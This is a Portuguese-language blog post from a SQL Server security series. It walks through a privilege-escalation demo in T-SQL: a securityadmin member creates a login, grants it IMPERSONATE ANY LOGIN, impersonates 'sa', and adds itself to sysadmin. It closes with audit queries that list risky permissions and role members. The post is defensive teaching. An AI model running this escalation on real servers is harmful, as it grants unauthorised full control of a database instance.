SQL Server - Cuidado com a server role securityadmin! Utilizando elevação de privilégios para virar sysadmin

Post Views 956 views

Esse post é a parte 17 de 21 da série Security and Auditing

Reading time 6 minutes

Hey guys!

Nesse post eu gostaria de compartilhar com vocês uma situação extremamente perigosa que pode acabar passando desapercebida pela maioria dos DBA’s SQL Server, que é a utilização da role securityadmin ou das permissões ALTER ANY LOGIN e IMPERSONATE ANY LOGIN sem entender exatamente para que elas servem e o que alguém com essas permissões pode fazer.

Se você se interessa por segurança, adquira o meu treinamento Segurança no SQL Server e aprenda como identificar e se proteger contra os mais variados ataques à bancos de dados SQL Server.

Introduction

Segundo a documentação da Microsoft, que pode ser acessada clicando aqui, os membros da role securityadmin gerenciam logons e suas propriedades. Eles têm permissões de nível de servidor GRANT, REVOKE e DENY e podem ter essas mesmas permissões de nível de banco de dados também, se tiverem acesso ao banco de dados. Além disso, eles podem redefinir senhas para logons do SQL Server.

IMPORTANTE: A capacidade de conceder acesso ao Mecanismo de Banco de Dados e de configurar permissões de usuário permite que um membro da role securityadmin atribua a maioria das permissões de servidor. A role securityadmin deve ser tratada como equivalente à role sysadmin.

Apesar de eu já ter demonstrado essa demo em várias palestras pelo Brasil desde 2018 e também ter demonstrado no meu treinamento de Segurança de SQL Server, esse conteúdo ainda não estava disponível aqui no blog e por isso, eu gostaria de compartilhar isso com vocês.

securityadmin é igual a sysadmin?

Se você é um DBA que já adicionou algum usuário na role securityadmin após alguma solicitação e não chegou a questionar o motivo de precisar dessa role e não pesquisou mais sobre o que essa role pode fazer, deve estar preocupado agora.. rs

Na teoria, essas duas server roles são bem diferentes. A securityadmin é uma role que permite gerenciar logins e propriedades de logins. Já a role sysadmin, é uma role que permite fazer qualquer coisa, com privilégios irrestritos e nenhuma limitação de nada.

Então como que essas duas server roles são consideradas equivalentes, segundo a documentação da Microsoft?

Para demonstrar como isso funciona, criarei um usuário chamado teste_security_admin e vou associar esse usuário à server role securityadmin:

CREATE LOGIN [teste_security_admin] WITH PASSWORD = 'dirceu', DEFAULT_DATABASE=master, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO

ALTER SERVER ROLE securityadmin ADD MEMBER [teste_security_admin]
GO

CREATE LOGIN [teste_security_admin] WITH PASSWORD = 'dirceu', DEFAULT_DATABASE=master, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

ALTER SERVER ROLE securityadmin ADD MEMBER [teste_security_admin]

Agora vou me conectar na instância utilizando o usuário recém-criado:

Agora verificarei como estão minhas permissões e o usuário conectado:

SELECT 
    USER_NAME() AS [USER_NAME],
    USER AS [USER],
    SESSION_USER AS [SESSION_USER],
    SUSER_SNAME() AS [SUSER_SNAME],
    SUSER_NAME() AS [SUSER_NAME],
    ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],
    IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],
    IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN];

SELECT

USER_NAME() AS [USER_NAME],

USER AS [USER],

SESSION_USER AS [SESSION_USER],

SUSER_SNAME() AS [SUSER_SNAME],

SUSER_NAME() AS [SUSER_NAME],

ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],

IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],

IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN];

Result:

Apenas conferindo as permissões do usuário teste_security_admin:

SELECT * 
FROM sys.fn_my_permissions(NULL, 'SERVER')

1 2	SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER')

Result:

Tudo certo e conforme o esperado até agora. Tentarei aumentar meus níveis de acesso:

Ok, não deu certo. Tentarei personificar um usuário sysadmin (sa) para fazer o que eu quiser depois.

Não deu certo também… Tentarei então dar acesso de IMPERSONATE ANY LOGIN para mim mesmo e personificarei um usuário sysadmin (sa) para fazer o que eu quiser depois.

A mensagem foi bem clara: Não posso modificar os meus próprios acessos.

Bom, enquanto membro da role securityadmin, tenho a permissão ALTER ANY LOGIN, o que me permite gerenciar as permissões de qualquer login e também criar/apagar logins. E se eu criar outro login então?

CREATE LOGIN [exploit] WITH PASSWORD = 'hacker', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF, DEFAULT_DATABASE=master
GO

1 2	CREATE LOGIN [exploit] WITH PASSWORD = 'hacker', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF, DEFAULT_DATABASE=master GO

Result:

Agora darei acesso de IMPERSONATE ANY LOGIN para esse novo usuário. Com isso, poderei personificar o usuário “sa”.

USE [master]
GO

GRANT IMPERSONATE ANY LOGIN TO [exploit]
GO

USE [master]

GRANT IMPERSONATE ANY LOGIN TO [exploit]

Result:

Parece que deu certo. Testaremos se conectando na instância com esse novo usuário!

Vamos conferir as permissões atuais:

SELECT
    USER_NAME() AS [USER_NAME],
    USER AS [USER],
    SESSION_USER AS [SESSION_USER],
    SUSER_SNAME() AS [SUSER_SNAME],
    SUSER_NAME() AS [SUSER_NAME],
    ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],
    IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],
    IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]


SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER')

SELECT

USER_NAME() AS [USER_NAME],

USER AS [USER],

SESSION_USER AS [SESSION_USER],

SUSER_SNAME() AS [SUSER_SNAME],

SUSER_NAME() AS [SUSER_NAME],

ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],

IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],

IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]

SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER')

Result:

Com apenas essa permissão de “IMPERSONATE ANY LOGIN” (sendo igualmente perigosa) que concedi para um novo login que acabei de criar, é que o estrago vem. Com essa permissão, posso personificar QUALQUER usuário da instância e executar comandos como se fosse ele (e herdando os mesmos níveis de permissão que ele possuir).

Para saber mais sobre personificação de usuários e o comando EXECUTE AS, sugiro a leitura do artigo SQL Server – Como utilizar o EXECUTE AS para executar comandos como outro usuário (Impersonate login e user).

Veremos se isso é verdade mesmo e personificarei o usuário “sa”:

EXECUTE AS LOGIN = 'sa'
GO


SELECT
    USER_NAME() AS [USER_NAME],
    USER AS [USER],
    SESSION_USER AS [SESSION_USER],
    SUSER_SNAME() AS [SUSER_SNAME],
    SUSER_NAME() AS [SUSER_NAME],
    ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],
    IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],
    IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]


SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER')

EXECUTE AS LOGIN = 'sa'

SELECT

USER_NAME() AS [USER_NAME],

USER AS [USER],

SESSION_USER AS [SESSION_USER],

SUSER_SNAME() AS [SUSER_SNAME],

SUSER_NAME() AS [SUSER_NAME],

ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN],

IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN],

IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]

SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER')

Result:

Eita! Agora estou executando comandos como se fosse o usuário “sa”!! Olhem aí porque esse usuário sempre deve ser desativado e renomeado para um nome não padrão, conforme explico no artigo SQL Server – Como desativar o login “sa” minimizando impactos.

Ainda não acredita em mim? Vamos fazer o meu usuário antigo virar um sysadmin então:

-- Verifica se o login está na role sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin')
GO

-- Adiciona o login na role sysadmin
ALTER SERVER ROLE sysadmin ADD MEMBER [teste_security_admin]
GO

-- Verifica novamente se o login está na role sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin')
GO

-- Verifica se o login está na role sysadmin

SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin')

-- Adiciona o login na role sysadmin

ALTER SERVER ROLE sysadmin ADD MEMBER [teste_security_admin]

-- Verifica novamente se o login está na role sysadmin

SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin')

Result:

E para finalizar, vou me conectar de novo com o usuário teste_security_admin só para não deixar dúvidas e executo novamente a validação de permissões.

Ataque de elevação de privilégios realizado com sucesso e acesso de sysadmin obtido. Agora consigo total controle da instância.

Após a leitura desse artigo, fica bem claro o risco de liberar as permissões de ALTER ANY LOGIN, IMPERSONATE ANY LOGIN ou adicionar o usuário na role securityadmin. Todas essas permissões são equivalentes a adicionar o usuário na role sysadmin, visto que ele consegue fazer parte da role de sysadmin indiretamente por elevação de privilégios.

Quer saber quem são os usuários que possuem as permissões ALTER ANY LOGIN ou IMPERSONATE ANY LOGIN?

SELECT 
    B.[name],
    A.[permission_name]
FROM
    sys.server_permissions A
    JOIN sys.server_principals B ON A.grantee_principal_id = B.principal_id
WHERE
    A.[permission_name] IN ( 'IMPERSONATE ANY LOGIN', 'ALTER ANY LOGIN' )

SELECT

B.[name],

A.[permission_name]

FROM

sys.server_permissions A

JOIN sys.server_principals B ON A.grantee_principal_id = B.principal_id

WHERE

A.[permission_name] IN ( 'IMPERSONATE ANY LOGIN', 'ALTER ANY LOGIN' )

Result:

Quer saber quem são os logins que pertencem à server role securityadmin ou sysadmin?

SELECT 
    B.[name] AS [role],
    C.[name] AS [usuario]
FROM
    sys.server_role_members A
    JOIN sys.server_principals B ON A.role_principal_id = B.principal_id
    JOIN sys.server_principals C ON A.member_principal_id = C.principal_id
WHERE
    B.[name] IN ( 'sysadmin', 'securityadmin' )

SELECT

B.[name] AS [role],

C.[name] AS [usuario]

FROM

sys.server_role_members A

JOIN sys.server_principals B ON A.role_principal_id = B.principal_id

JOIN sys.server_principals C ON A.member_principal_id = C.principal_id

WHERE

B.[name] IN ( 'sysadmin', 'securityadmin' )

Result:

Espero que vocês tenham gostado dessa dica de segurança e que isso possa te ajudar a manter seus dados mais seguros.
Um grande abraço e até o próximo artigo.

Subscribe to blog by email

Blog Views

Microsoft MVP

Post Archive

Categories

Recent posts

SQL Server - Watch out for the securityadmin server role! Using elevation of privileges to become sysadmin

Introduction

securityadmin é igual a sysadmin?

You may also like...

1 Response

Deixe uma respostaCancelar resposta

Introduction

securityadmin é igual a sysadmin?

You may also like...

SQL Server Management Studio (SSMS) – Como ativar o tema Dark (Dark Theme Support)

Webcast – Comemoração 300 posts + Novidades do SQL Server 2019 (04/10/2018 – 21h)

SQL Server – Como recuperar o código-fonte de objetos apagados (View, Stored Procedure, Function e Trigger)

1 Response

Deixe uma respostaCancelar resposta